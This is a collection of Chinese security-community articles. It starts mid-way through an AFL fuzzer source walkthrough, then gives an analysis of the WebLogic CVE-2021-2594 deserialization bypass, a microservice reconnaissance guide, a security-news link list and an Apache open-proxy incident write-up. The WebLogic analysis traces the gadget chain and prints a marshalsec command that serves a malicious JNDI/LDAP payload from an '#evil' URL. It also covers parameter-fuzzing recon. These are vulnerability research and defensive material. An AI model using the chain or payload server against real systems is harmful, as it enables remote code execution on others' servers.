in_buf);`这个函数主要是用来调整测试用例大小的。起始以文件的`1/16`大小，一直到`1/1024`为步长，依次删除文件的某一步长(`write_with_gap函数`)，将得到的check_sum同原来的比较，如果相同说明这部分不会影响测试的结果，删除这部分。
之后调用`calculate_score`为这次测试的质量进行打分，这个分数在之后的`havoc_stage`使用。
下面就是主要的变异策略。
`BITFLIP`就是按位翻转，有多种翻转位数/步长的操作，值得一提的是，如果一段连续的序列翻转之后都不会改变(原执行路径破坏)，则可以将这段序列识别为一个`token`。程序会记录下来为后面变异做准备。之后调用`common_fuzz_stuff`测试变异后的文件。在8/8模式下，会生成一个eff_map。这个表的意义是如果我们翻转一整个比特都不能得到1(同原执行路径不同)，那么这个字节很有可能属于`data`而非`metadata(元数据)`。因而在之后的变异中会跳过这些无用的字节。
if (cksum != queue_cur->exec_cksum) {
eff_map[EFF_APOS(stage_cur)] = 1;
eff_cnt++;
}
`ARITHMETIC`是对数据做加减运算，同样有多种步长/翻转长度模式。这次变换就会利用刚才的eff_map筛选，加减的上限为35，变换过程中还会对数据大小端进行判断。
/* Maximum offset for integer addition / subtraction stages: */
#define ARITH_MAX 35
`INTERESTING`是做插入/替换等变换，替换成的数字是一些interesting_val，可以看到下面都是一些容易整数溢出的数字。替换的大小也有8/16/32bit
/* Interesting values, as per config.h */
static s8 interesting_8[] = { INTERESTING_8 };
static s16 interesting_16[] = { INTERESTING_8, INTERESTING_16 };
static s32 interesting_32[] = { INTERESTING_8, INTERESTING_16, INTERESTING_32 };
/* List of interesting values to use in fuzzing. */
#define INTERESTING_8
-128, /* Overflow signed 8-bit when decremented */
-1, /* */
0, /* */
1, /* */
16, /* One-off with common buffer size */
32, /* One-off with common buffer size */
64, /* One-off with common buffer size */
100, /* One-off with common buffer size */
127 /* Overflow signed 8-bit when incremented */
#define INTERESTING_16
-32768, /* Overflow signed 16-bit when decremented */
-129, /* Overflow signed 8-bit */
128, /* Overflow signed 8-bit */
255, /* Overflow unsig 8-bit when incremented */
256, /* Overflow unsig 8-bit */
512, /* One-off with common buffer size */
1000, /* One-off with common buffer size */
1024, /* One-off with common buffer size */
4096, /* One-off with common buffer size */
32767 /* Overflow signed 16-bit when incremented */
#define INTERESTING_32
-2147483648LL, /* Overflow signed 32-bit when decremented */
-100663046, /* Large negative number (endian-agnostic) */
-32769, /* Overflow signed 16-bit */
32768, /* Overflow signed 16-bit */
65535, /* Overflow unsig 16-bit when incremented */
65536, /* Overflow unsig 16 bit */
100663045, /* Large positive number (endian-agnostic) */
2147483647 /* Overflow signed 32-bit when incremented */
`DICTIONARY`是替换/插入token到原文件中，共有`user extras (over)/user extras (insert)/auto
extras (over)`。其中替换是有上限的，数量高于上限就按概率替换。
`HAVOC`综合之前的变异方式，引用[Seebug](https://paper.seebug.org/496/#fork-server)一篇文章
> 随机选取某个bit进行翻转
> 随机选取某个byte，将其设置为随机的interesting value
> 随机选取某个word，并随机选取大、小端序，将其设置为随机的interesting value
> 随机选取某个dword，并随机选取大、小端序，将其设置为随机的interesting value
> 随机选取某个byte，对其减去一个随机数
> 随机选取某个byte，对其加上一个随机数
> 随机选取某个word，并随机选取大、小端序，对其减去一个随机数
> 随机选取某个word，并随机选取大、小端序，对其加上一个随机数
> 随机选取某个dword，并随机选取大、小端序，对其减去一个随机数
> 随机选取某个dword，并随机选取大、小端序，对其加上一个随机数
> 随机选取某个byte，将其设置为随机数
> 随机删除一段bytes
> 随机选取一个位置，插入一段随机长度的内容，其中75%的概率是插入原文中随机位置的内容，25%的概率是插入一段随机选取的数
> 随机选取一个位置，替换为一段随机长度的内容，其中75%的概率是替换成原文中随机位置的内容，25%的概率是替换成一段随机选取的数
> 随机选取一个位置，用随机选取的token（用户提供的或自动生成的）替换
> 随机选取一个位置，用随机选取的token（用户提供的或自动生成的）插入
完成上述变异之后会进入`SPLICING`，将2个seed文件随机位置分割开，将当前文件的头同另一个文件的尾拼起来，中间还会检查选取的两个文件的差异性以及拼接之后的文件的变异性。之后再给havoc继续折腾，测试，这个seed搞完再换cycle的下一个，一直到一个cycle结束。
然后就是另一个cycle，新的变异(因为上次变异可能找到了新的路径，cull_queue就是发掘新的路径)
locate_diffs(in_buf, new_buf, MIN(len, target->len), &f_diff, &l_diff);
if (f_diff < 0 || l_diff < 2 || f_diff == l_diff) {
ck_free(new_buf);
goto retry_splicing;
}
/* Split somewhere between the first and last differing byte. */
split_at = f_diff + UR(l_diff - f_diff);
## 总结
花了大概五天时间，翻了很多资料总结成这一篇，参考了很多大佬的资料，说是看源码实际上很多地方卡住然后翻其他人的资料帮助理解，这次的体会就是算法是很重要的，比如那个贪心算法，大二学过不过很久没刷算法有点生疏卡了一会儿。
## 参考
[<https://bbs.pediy.com/thread-254705.htm>]
[<http://www.wenweizeng.com/2020/01/12/afl-analyze2/>]
[<https://rk700.github.io/2017/12/28/afl-internals/>]
[<https://xz.aliyun.com/t/6457#toc-2>]
[<https://paper.seebug.org/496/#havoc>]
[<https://xz.aliyun.com/t/4628#toc-3>]
[<https://xz.aliyun.com/t/4628#toc-3>]
[<https://www.anciety.de/2019/10/08/afl/>]
[<https://www.cnblogs.com/0xHack/p/9407640.html>] | 社区文章 |
作者：白帽汇安全研究院@kejaly
校对：白帽汇安全研究院@r4v3zn
# 前言
在2021年7月21日，Oracle官方 发布了一系列安全更新。涉及旗下产品（Weblogic Server、Database Server、Java
SE、MySQL等）的 342 个漏洞，<https://www.oracle.com/security-alerts/cpujul2021.htm。其中，Oracle> WebLogic Server 产品中有高危漏洞，漏洞编号为
CVE-2021-2594，CVSS 评分9.8分，影响多个 WebLogic 版本，且漏洞利用难度低，可基于 T3 和 IIOP 协议执行远程代码。
经过分析，此次漏洞结合了 CVE-2020-14756 和 CVE-2020-14825 反序列化链，利用`FilterExtractor`
这个类来对4月份补丁进行绕过。
# 补丁回顾
在4月份补丁中，对 `ExternalizableHelper` 中的 `readExternalizable` 做了修改，增加了对传入的
`DataInput` 判断，如果是 `ObjectInputStream` 类型就会调用 `checkObjectInputFilter`
函数进行过滤。所以再利用 CVE-2020-14756 中直接反序列化
`com.tangosol.coherence.rest.util.extractor.MvelExtractor` 来造成 RCE 的方法已经行不通了。
# 调试环境
**本文基于 win7 虚拟机 + Weblogic 12.1.4 版本 + jdk 8u181 进行研究分析测试**
修改目录 `user_project/domains/base_domain/bin` 目录中 `setDomainEnv.cmd` ，加`if
%debugFlag == "true"%` 之前加入 `set debugFlag=true`。
拷贝 `Oracle_Home` 目录下所有文件至调试目录，将 `\coherence\lib`，`\oracle_common\modules`
目录下所有文件添加到 Libraries：
配置 idea 中 jdk 版本与虚拟机中运行的 weblogic jdk 版本保持一致。
添加 remote 调试：
# 漏洞利用
该漏洞主要是因为 `FilterExtractor` 的 `readExternal` 方法中会直接 `new` 一个
`MethodAttributeAccessor` 对象，使得生成
`MethodAttributeAccessor`的时候不会受到黑名单的限制，来对4月份的补丁进行绕过。
`FilterExtractor` 类具有如下特征：
1.`FilterExtractor` 实现了 `ExternalizableLite` 接口，重写了 `readExternal` 方法：
`readExternal`
会调用`oracle.eclipselink.coherence.integrated.internal.cache.SerializationHelper#readAttributeAccessor`
方法:
可以看到会 `new` 一个 `MethodAttributeAccessor` 对象，然后根据 `DataInput` 赋值它的
`setAttributeName`，`setGetMethodName` 以及 `setSetMethodName` 属性（这就导致这三个属性是可控的）。
2.`FilterExtractor` 的 `extract` 方法中存在
`this.attributeAccessor.getAttributeValueFromObject()` 的调用。
熟悉 coherence 组件的漏洞的朋友应该知道在 CVE-2020-14825 中，就是利用
`MethodAttributeAccessor.getAttributeValueFromObject()` 来实现任意无参方法的调用的。
虽然 `MethodAttributeAccessor` 已经加入到了黑名单，但是在上面提到的 `readExternal` 方法中恰好直接 `new`
了一个 `MethodAttributeAccessor` 对象，也就是说不是通过反序列化得到 `MethodAttributeAccessor`
对象，自然也就不受黑名单的影响。
## 调用链
完整调用链如下：
## 漏洞分析
根据构造的 poc ，我们首先在 `AttributeHolder` 类的 `readExternal`方法中打上断点，另一边则运行我们的 poc
，成功断下：
步入，会调用到 `com.tangosol.util.ExternalizableHelper` 中的 `readObject` 方法：
步入，最后会进入到 `com.tangosol.util.ExternalizableHelper`中的 `readObjectInternal`
方法中调用 `readExternalizableLite` 方法：
步入，在`com.tangosol.util.ExternalizableHelper#readExternalizableLite` 方法中，首先会调用
`loadClass` 去加载类，然后调用无参构造函数实例化一个对象，这里个加载的类是
`com.tangosol.util.aggregator.TopNAggregator$PartialResult`：
随后会调用 `com.tangosol.util.aggregator.TopNAggregator$PartialResult` 类的
readExternal 方法：
步入，会再次调用 `com.tangosol.util.ExternalizableHelper.readObject` 方法来读取一个对象并且赋值到
`this.m_comparator` 中，
步入，之后会再次调用到 `com.tangosol.util.ExternalizableHelper#readExternalizableLite`
方法，由于这次读取的 `sClass` 是
`oracle.eclipselink.coherence.integrated.internal.querying.FilterExtractor`
，所以会实例化一个 `FilterExtractor` 对象，然后调用它的 `readExternal` 方法：
步入 ，来到 `FilterExtractor` 的 `readExteral` 中，会调用
`oracle.eclipselink.coherence.integrated.internal.cache.SerializationHelper#readAttributeAccessor`
方法：
步入，会 `new` 一个 `MethodAttributeAccessor` 对象，并且调用
`com.tangosol.util.SerializationHelper#readObject` 方法给
`MethodAttributeAccessor` 对象的 `attributeName` , `getMethodName` 和
`setMethodName` 这三个属性赋值：
赋值之后的结果为：
再回到之前的 `com.tangosol.util.aggregator.TopNAggregator$PartialResult` 类的
readExternal 方法中，`this.m_comparator` 变成了上面
`oracle.eclipselink.coherence.integrated.internal.querying.FilterExtractor`
对象：
接着在 182 行，会调用 `this.instantiateInternalMap(this.m_comparator)` 方法，步入，会把
`FilterExtractor`再封装到 `WrapperCompator` 中，然后传入 `TreeMap`的构造函数，实例化一个 `TreeMap`
对象并且返回：
186 行，调用 `this.add` 方法，这里 `ExternalizableHelper.readObject(in)`返回的是
`JdbcRowSetImpl` 对象
接着步入 `super.add` 方法：
然后会调用 `TreeMap.put` 方法，添加传入的 `JdbcRowSetImpl` 对象，最后会来到
`com.tangosol.util.WrapperComparator#compare` 方法并触发
`this.f_comparator.compare` 方法， `this.f_comparator` 正是之前传入的 `FilterExtractor`
对象：
步入，会调用 `com.tangosol.util.extractor#compare` 方法，这个方法中又会调用到 `this.extract`
方法，也就是会调用 `FilterExtractor#extract`方法，进而调用 `this.attributeAccessor` 的
`initializeAttributes` 方法, 而此时的 `this.attributeAccssor` 是
`MethodAttributeAccessor` 对象，所以会调用
`MethodAttributeAccessor#initializeAttributes` 方法：
在 `MethodAttributeAccessor` 中的 `initializeAttributes` 方法中首先会调用
`this.setGetMethod` 方法来设置 `MethodAttributeAccessor` 的 `getMethod` ：
其中 `Helper.getDeclaredMethod` 方法流程如下，是通过传入的类，方法名，以及参数类型来得到对应 `class` 的
`Method`：
此时由于 `theJavaClass` 是 `com.sun.rowset.JdbcRowSetImpl`, `this.getMethodName` 是
`"prepare"` ，所以第一次得到的 `prepare` 方法：
与 CVE-2020-14825 的反序列化流程不同的是， 因为在 `initializeAttributes` 的时候，我们不能再通过控制
`isWriteOnly` 属性为 `true` ，所以会进入到下面这个 if 分支里面去：
会先调用 `this.getSetMethodParameterTypes` 得到 `this.getGetMethod` 属性代表的方法的返回值：
`this.getGetMethod` 在上一步赋值为了 `protected java.sql.PreparedStatement
com.sun.rowset.JdbcRowSetImpl.prepare() throws java.sql.SQLException` ，
所以这里 `this.getSetMethodParameterTypes` 方法得到的是 `java.sql.PreparedStatement`类型:
然后调用`Helper.getDeclaredMethod(theJavaClass, this.getSetMethodName(),
this.getSetMethodParameterTypes());` 就会得到 `protected
java.sql.PreparedStatement com.sun.rowset.JdbcRowSetImpl.prepare() throws
java.sql.SQLException` 方法。
`initializeAttributes` 结束后 `MethodAttributeAccessor`的属性值：
接着，回到 `FilterExtractor#extract` 方法中，会继续调用
`this.attributeAccessor.getAttributeValueFromObject` 也就是调用
`MethodAttributeAccessor.getAttributeValueFromObject` 方法：
步入：
步入，会利用反射调用方法：
此时 `this.getMethod` 是 `protected java.sql.PreparedStatement
com.sun.rowset.JdbcRowSetImpl.prepare() throws
java.sql.SQLException`，`abObject` 是 `JbbcRoeSetImpl` ：
这就导致了 jndi 注入的产生：
我们在本地使用 marshalsec 搭建恶意 jndi 服务端：
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.1.1:8000/#evil 1389
python -m http.server
成功 RCE：
## jndi 版本问题
在Oracle JDK 11.0.1、8u191、7u201、6u211之后
com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被设置为false，所以此 ldap + jndi 导致
RCE 的方法失效。
## 10.3.6.0 问题
在使用基于 `TopNAggregator.PartialResult` 的 poc 对官网说的版本进行复现的时候，发现 10.3.6.0.0
版本中并不存在 `com.tangosol.util.SortedBag` 和
`com.tangosol.util.aggregator.TopNAggregator` 这两个类：
缺少 `SortedBag`：
缺少 `TopNAggregator` ：
## weblogic 版本问题
使用不同 weblogic 版本的 jar 包对不同版本的 weblogic 进行测试，经过测试研究发现以下情况：
jar 版本 | weblogic 版本 | 成功情况
---|---|---
12.1.3.0.0 | 12.1.3.0.0 | 成功
12.1.3.0.0 | 12.2.1.3.0 | 失败
12.1.3.0.0 | 12.2.1.4.0 | 失败
12.1.3.0.0 | 14.1.1.0.0 | 失败
12.2.1.3.0 | 12.1.3.0.0 | 失败
12.2.1.3.0 | 12.2.1.3.0 | 成功
12.2.1.3.0 | 12.2.1.4.0 | 成功
12.2.1.3.0 | 14.1.1.0.0 | 成功
12.2.1.4.0 | 12.1.3.0.0 | 失败
12.2.1.4.0 | 12.2.1.3.0 | 成功
12.2.1.4.0 | 12.2.1.4.0 | 成功
12.2.1.4.0 | 14.1.1.0.0 | 成功
14.1.1.0.0 | 12.1.3.0.0 | 失败
14.1.1.0.0 | 12.2.1.3.0 | 成功
14.1.1.0.0 | 12.2.1.4.0 | 成功
14.1.1.0.0 | 14.1.1.0.0 | 成功
# 7月份补丁影响
打了7月份补丁之后，会报错：
原因是在 `WebLogicFilterConfig` 类的`DEFAULT_BLACKLIST_PACKAGES` 字段中新增了
`oracle.eclipselink.coherence.integrated.internal.querying` 这个包：
而 `FilterExtractor` 类正好在
`oracle.eclipselink.coherence.integrated.internal.querying` 包下面，所以导致被黑名单拦截了下来。
# 修复建议
## 通用修补建议
Oracle官方已经发布补丁，及时进行更新：<https://www.oracle.com/security-alerts/cpujul2021.html>
## Weblogic 临时修补建议
1. 如果不依赖 T3协议进行 JVM通信，可禁用 T3协议。
2. 如果不依赖 IIOP协议进行 JVM通信，可禁用 IIOP协议。
# 参考
<https://www.cnblogs.com/potatsoSec/p/15062094.html>
<https://mp.weixin.qq.com/s/LbMB-2Qyrh3Lrqc_vsKIdA> | 社区文章 |
# 微服务渗透之信息搜集
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
大家好我是掌控安全学院的魔术手。
随着web安全从业人员的增多，很多人都有个疑问：怎么洞越来越难挖了!!?大网站是不是没有这些漏洞!!?
原因是多样性的，一方面是漏洞隐藏的越来越深，另一方面是网站的架构正在发生改变；所以我们除了要提升自己的技术能力之外，我们也要顺应互联网的发展，针对不同的网站架构寻找不同着手点，也就是扩大信息收集的范围，这篇文章就是对微服务下信息收集的浅谈。在介绍正题之前，先聊聊网站应用的发展史。
## 网站应用发展
### 单一应用架构
当网站流量很小时，只需一个应用，将所有功能都部署在一起，以减少部署节点和成本。此时，用于简化增删改查工作量的数据访问框架(ORM)是关键。
### 垂直应用架构
当访问量逐渐增大，单一应用增加机器带来的加速度越来越小，将应用拆成互不相干的几个应用，以提升效率。此时，用于加速前端页面开发的Web框架(MVC)是关键。
### 分布式服务架构
当垂直应用越来越多，应用之间交互不可避免，将核心业务抽取出来，作为独立的服务，逐渐形成稳定的服务中心，使前端应用能更快速的响应多变的市场需求。此时，用于提高业务复用及整合的分布式服务框架(RPC)是关键。
### 流动计算架构
当服务越来越多，容量的评估，小服务资源的浪费等问题逐渐显现，此时需增加一个调度中心基于访问压力实时管理集群容量，提高集群利用率。此时，用于提高机器利用率的资源调度和治理中心(SOA)是关键。
### 微服务
紧接着就是微服务，微服务最初的概念是由`Martin
Fowler`提出，在他的[博客](https://martinfowler.com/)中提出“微服务架构是一种架构模式，它提倡将单一应用程序划分成一组小的服务，服务之间相互协调、互相配合，为用户提供最终价值。每个服务运行在其独立的进程中，服务和服务之间采用轻量级的通信机制相互沟通（通常是基于HTTP的Restful
API)。每个服务都围绕着具体的业务进行构建，并且能够被独立的部署到生产环境、类生产环境等。另外，应尽量避免统一的、集中的服务管理机制，对具体的一个服务而言，应根据业务上下文，选择合适的语言、工具对其进行构”。
下面给一张微服务的架构图，我们的信息收集也将由此展开：
## 基于微服务的信息收集
从上面的网站架构的发展史来看,随着功能的增加和重叠，把所有的功能都逐渐细化，由之前的所有都在一起，细化到甚至是一个功能一个服务器(docker)，虽然看似前面有各类云waf和nginx反代阻碍我们，但我们需要记住两点：
1. 后面的服务看似实在内网，但其实都是在云上，都有自己的公网ip
2. 各种服务之间相互联系，可以搜索的和利用的点增加，只要一个点进去，那么很快就可以拿下全部
基于这两点，我们可以采用盲人摸象的方法逐步探测出目标的构造，其中最简单的，就是收集目标相关的域名、目录和参数。
我们对域名和目录收集方式最多的就是爆破，通过大量的数据去跑，但是随着时间的发展，这些方法虽然能用，但是不太好用，我们需要考虑更好的方法收集这些，比如`API`。
1. 通过`微信小程序`收集
很多时候，许多和目标相关的`URL`我们无法通过以前的方式搜集到，那么如果目标存在微信小程序，那么我们可以尝试从微信小程序收集些信息。
如下图，很多内容都是通过常规手段无法收集到的，接下来可操作范围比较广，按照常规思路，我们可以使用一些工具爆破目录，如下图。
但是很尴尬，我们使用以前常用的字典很难像之前那样轻易找到大量目录或者隐藏的文件，这时候我们需要想办法重新找到入口点，比如从js文件中寻找。
2. 通过`js`收集，`url`,`目录`和`参数`
不可否认，`js`里面蕴藏了很多有意思的内容，除了大量的域名之外，其中最重要的莫过于`目录`和`参数`，在实战中发现，通过`js`发现的`目录`和`参数`收集起来，组成字典，通过`fuzz`的思想进行随机组合，会有很多惊喜的出现，出现的这些内容是以往的信息收集无法找到的，因为一些原因，这些截图无法放出，但是可以给大家分享一个项目，这个项目就可以收集`js`里的部分内容：[https://github.com/Threezh1/JSFinder。](https://github.com/Threezh1/JSFinder%E3%80%82)
如上图所示，通过`js`我们能找到很多和目标相关的信息，其中包括大量的`子域名`和`相关的url`,比如从上图中我们看到有`1177条urls`和`95条子域名`，当然我们也能找到一些`api`信息。
当我们爬取到足够的参数时，就可以结合之前收集的`url`进行测试，比如：
这种状况是我们最常见的，访问目录`403`,这时我们猜测是缺少参数。这时候我们就可以通过收集的大量的参数进行模糊测试(以前是爆破后台等，现在是爆破参数)。制作参数字典，我们可以通过`js`里的参数来构造字典，也可以通过github收集常用的参数制作字典，待以后遇到同类型的网站的时候可以直接通过相关软件去测试。
这里我们举个做字典的小方法：
1. 在[github](https://github.com/)上搜索`$_GET`,然后点击左侧的`code`
2. 爬取相关参数制作字典
有了字典，我们可以通过`burp`的爆破功能做个测试。测试如下图。
然后根据通过返回的结果进行判断，因为一些原因，成功的截图就不放出来了。
随着技术的发展，很多大厂的漏洞越藏越深，作为安全人员，我们也要想尽办法扩大测试范围，挖掘那些隐藏的漏洞。
零基础是如何学网络安全的!关注公众号:掌控安全EDU
零基础学网安到掌控安全学院!
## 参考链接：
<http://dubbo.apache.org/zh-cn/docs/user/preface/background.html>
[https://www.zhihu.com/question/](https://www.zhihu.com/question/65502802) | 社区文章 |
# 【知识】4月26日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： MySQL
Connector/J：攻击者精心构造的数据库内容可以导致远程代码执行（CVE-2017-3523）、绕过CSRF过滤器在PHPMailer模块执行代码、**
**Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写** **、
分析和检测内存中PEDDLECHEAP植入代码、nt!_SEP_TOKEN_PRIVILEGES – Single Write EoP
Protect、APT 攻击利器-Word 漏洞 CVE-2016-7193 原理揭秘** **
**
****国内热词(以下内容部分摘自 http://www.solidot.org/)：****
* * *
****
****
Uber 应用收集苹果硬件指纹，违反 App Store 规定
Webroot 杀软最近的一次更新将合法文件标记为恶意程序
克隆电子元件开启危险之门
**资讯类：**
* * *
****
****
****
****
[](https://www.hackread.com/darkoverlord-hacks-westpark-capital-bank/)
FalseGuide恶意软件使60万Android用户感染僵尸网络
<http://www.zdnet.com/article/falseguide-malware-dupes-600000-android-users-into-joining-botnet/>
**技术类：**
* * *
****
****
****
****
[](http://motherboard.vice.com/read/the-worst-hacks-of-2016)
[](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/)
[](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py)
MySQL Connector/J：攻击者精心构造的数据库内容可以导致远程代码执行（CVE-2017-3523）
<https://www.computest.nl/advisories/CT-2017-0425_MySQL-Connector-J.txt>
Portrait Display SDK服务 存在权限提升的问题，惠普，飞利浦和富士通等多家厂商的数百万设备受影响
<http://blog.sec-consult.com/2017/04/what-unites-hp-philips-and-fujitsu-one.html>
子域名枚举的艺术
<https://blog.sweepatic.com/art-of-subdomain-enumeration/>
绕过CSRF过滤器在PHPMailer模块执行代码
<https://www.cdxy.me/?p=765>
APT 攻击利器-Word 漏洞 CVE-2016-7193 原理揭秘
<http://paper.seebug.org/288/>
浏览器插件的攻击向量
<http://www.freebuf.com/column/133218.html>
Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写
<https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html>
使用机器学习和行为分析来协助进行威胁检测
<http://www.ccsinet.com/machine-learning-behavioral-analysis-assist-threat-detection/>
bWapp中服务端注入
<http://www.hackingarticles.in/server-side-injection-explotation-bwapp/>
使用Dnsflow作为DNS入侵检测
<https://blogs.technet.microsoft.com/office365security/dns-intrusion-detection-using-dnsflow/>
分析和检测内存中PEDDLECHEAP植入代码
<https://www.countercept.com/our-thinking/analyzing-and-detecting-the-in-memory-peddlecheap-implant/>
在内核网络macsec.c模块中堆溢出
<https://git.kernel.org/pub/scm/linux/kernel/git/davem/net.git/commit/?id=4d6fa57b4dab0d77f4d8e9d9c73d1e63f6fe8fee>
【HackBack】hack指南
<https://www.exploit-db.com/papers/41915/>
<https://www.exploit-db.com/papers/41913/>
新威胁报告：一个新IoT僵尸网络正在 HTTP 81上大范围传播
<http://blog.netlab.360.com/a-new-threat-an-iot-botnet-scanning-internet-on-port-81-ch/>
flexispy是如何被黑的
<https://www.exploit-db.com/papers/41912/>
nt!_SEP_TOKEN_PRIVILEGES – Single Write EoP Protect
<https://www.exploit-db.com/docs/41924.pdf>
DOUBLEPULSAR检测脚本中更新了移除DOUBLEPULSAR模块
<https://github.com/countercept/doublepulsar-detection-script>
Adobe更新修复 Apache BlazeDS 系列的java反序列化漏洞
<https://helpx.adobe.com/security/products/coldfusion/apsb17-14.html>
使用高级代码重用攻击来解除控制流防护
<https://www.endgame.com/blog/disarming-control-flow-guard-using-advanced-code-reuse-attacks>
如何准备和使用docker进行web渗透测试
<https://pentestmag.com/prepare-use-docker-web-pentest-junior-carreiro/> | 社区文章 |
# 案例分享
之前遇到一个十分精彩的应急响应案例，当时溯源和问题解决都很顺利。但是后续在复现这个现象以及渗透测试中攻击利用这个威胁点上出现了一些问题，断断续续研究了好些日子才几近分析完成。
先说一下这个应急案例，事情发生在当天下午，然而我是晚上约9点半的时候才接到电话。然后惯例建群，拉上项目组和各大领导们在群里说明事件严重性，要求全力支持配合，接着现场技术人员就把出问题的Apache服务器的access.log打开截了个图丢给我，然后告诉我大概现象就是两点：
1、 Apache服务器的access.log日志出现很多奇怪日志；
2、 该服务器性能下降，内存占用高。
拿到截图后，可以从这个access.log中看到很多奇怪的第三方域名，没有一个域名是属于本地合法域名集的，而且响应码几乎全部是200，少数的几个404确实也是对应的网站域名不可访问。
由于本人才疏学浅，没见过什么大世面，属于部门一等一的划水运动员。刚开始以为这就是一个简单的url跳转漏洞导致的奇怪的日志记录。对这些第三方域名进行访问测试，基本都是一些博彩类网站或者一些日常娱乐性站点，比如花椒直播，基本上可以认定该攻击者目的应该进行引流攻击，赚取广告流量费用，差不多可以作为黑产的一种类型了。接着我再看了看日志记录的源IP发现是一个内网IP地址，然后我就陷入了沉思。这个攻击者是傻么？既然他已经拿到一台内网服务器，为什么还要从别的内网服务器进行间接访问？这不是很费劲么？（基于后面的事实证明，不是他傻是我傻。捂脸哭。）
从我错误的分析来看，前后是矛盾的。因为目前可以确定的是该攻击者是在进行黑产交易，但是从以往对黑产类型的攻击事件的应急响应可以得到一个比较显著且具有实际意义的结论，就是黑产事件（例如勒索等）基本是利用的一些“著名”且具有“攻击成本低”的“高危便携性”的漏洞，例如struts2，这个攻击者不可能花费大量精力来内网漫游做这种广告流量的黑产交易，因为成本太高，兑现效率太低。
接着我比对了正常的access.log发现正常的access日志的Request请求并不会包含http协议头和域名字段，而是只记录url路径。这时候我才发现事情并不简单。
经过再一次地分析后发现这是一个利用中间件服务器的代理功能进行恶意代理攻击的事件，也就是说这台Apache服务器被人作为中间代理去访问其他站点。致使其在日志上记录下了代理日志，而这些代理日志就是在案例图中看到的那些第三方域名访问记录。
基本上原因是找到了，但是还遗留了一个问题，就是那个内网源IP是怎么回事？我想了一会，判断这可能是一台做反向代理的机器，而且很大概率上是可能是一台和Apache同处于DMZ区域的WAF。经过与客户的确认，确实如我想的一般。
这里对WAF的4种部署方式做个简单的概念叙述。
WAF一共有4种部署方式：
1、 串联部署
最为常见的部署方式，增加WAF负载，容易出现单点故障；
2、 旁路部署
需要进行二层或三层流量牵引，部署复杂，但是可以降低WAF负载，提高利用效率，只转发Web相关流量；
3、 反向代理
客户端与服务器端通讯不透明，对外IP即为WAF的公网IP，WAF接收到请求后将更换请求源地址为自身IP，向内网发起请求转发；
4、 镜像监听
只能检测服务是否被攻击， 不能对客业务进行防护；
也就是说该案例的实际网络架构和攻击者的攻击路径分析如下图所示：
画完这个图，我看着这个架构越看越觉得我好像漏了什么东西，这个图我越看越觉得好像曾经在哪见到过。翻了翻和客户的聊天记录，我果然漏了一个点。现象分析完成后我现在只能溯源得到为什么会出现奇怪的日志，但是我并不能通过这个代理攻击来澄清服务器性能下降，内存占用高的问题。而这个恶意代理攻击我或许在之前从未遇到，但是我遇到过并实际手动操作过另一个几乎是利用了同一个安全威胁点的攻击模式，CC（Challenge
Collapsar）攻击。
CC攻击就是利用多台僵尸机进行多线程http代理向目标服务器发起大量的真实http请求，使其消耗掉大量的并发资源，拖慢整个网站，造成拒绝服务。但是在一般的CC攻击中，我们往往只把注视点放在被攻击方，而那些僵尸机其实也是面临同样的资源消耗问题，其内存性能也会随之受到侵扰。没做过CC攻击实际操作的人可能以为那些僵尸机真的就是需要一台一台入侵getshell才能用他们做CC攻击的代理服务器。实际上并不是如此，CC攻击的实际操作往往是在一些网络代理平台上批量获取可进行代理的服务器进行利用，一些著名的平台例如“快代理”，“花刺代理”，“西刺代理”等等，每天都在发布大量可用的代理服务器的IP和端口供用户使用。而CC攻击往往就是直接拖下这些代理IP端口，直接加载到CC攻击器的List模块，然后一键攻击即可（这里感谢实施部门的CC同学，当然他叫CC是因为他有一台大众CC，不过他也是CC攻击的一般性实操人）。
# 代理类型
正常导致这种恶意代理攻击威胁是因为服务器开启了正向代理开关，导致攻击者可以利用该服务器作为中间代理来访问其他站点。除了正向代理外，常见的还有反向代理，也就是刚刚所说的WAF的部署方式，还有一种透明代理。常见的就是这几种：正向代理，反向代理，透明代理，CONNECT通道。
# 缺陷修复
1、 最先肯定是关闭正向代理开关。
正确配置Apache的mod_proxy模块。在httpd.conf配置中将虚拟主机中配置修改为ProxyRequests Off，取消使用正向代理。
2、
在关闭正向代理后，会发现只能杜绝部分代理请求，还存在一些代理请求不能被屏蔽，接下来就通过.htaccess文件配置转发规则，以白名单加黑名单的双向措施在中间件层面来解决这个问题。
.htaccess文件内容如下
RewriteEngine on //启用rewrite引擎
RewriteBase / //设置Base地址，/为根目录
RewriteCond %{HTTP_HOST} example.com [NC]
//配置白名单域名，允许flag为NC，表示允许转发
RewriteRule ^(.*)$ http://www.example.com/$1 [NC] [L,R=301]
//配置url地址的正则表达式，配置flag为L,R=301，表示响应码配置为301跳转
RewriteCond %{HTTP_HOST} www.example.com [NC]
RewriteRule ^(.*)$ http://www.example.com/$1 [NC] [L,R=301]
RewriteRule ^(.*)$ - [F]
//配置正则表达式匹配所有（因为是按顺序匹配，这里即匹配非白名单的所有第三方非法域名），配置flag为F，表示403 Forbidden。
启用.htaccess，使其生效
1. 在http.conf将如下配置的注解取消，启用mod_rewrite模块
LoadModule rewrite_module modules/mod_rewrite.so
2. 将AllowOverride None修改为AllowOverride All
# AllowOverride controls what directives may be placed in .htaccess files.
# It can be "All", "None", or any combination of the keywords:
# Options FileInfo AuthConfig Limit
配置AllowOverride None为AllowOverride All
C、改正vhost配置，给网站web目录添加一些Options配置，例如
<VirtualHost *:80>
ServerName sf2.aonola.com
DirectoryIndex app.php
DocumentRoot /www/sf2_aonola_com/web（根目录）
<Directory " /www/sf2_aonola_com/web">
# Options Indexes FollowSymLinks
# Options -Indexes IncludesNOEXEC -ExecCGI FollowSymLinks
Options FollowSymLinks
AllowOverride All
Order allow,deny
Allow from all
</Directory>
</VirtualHost>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
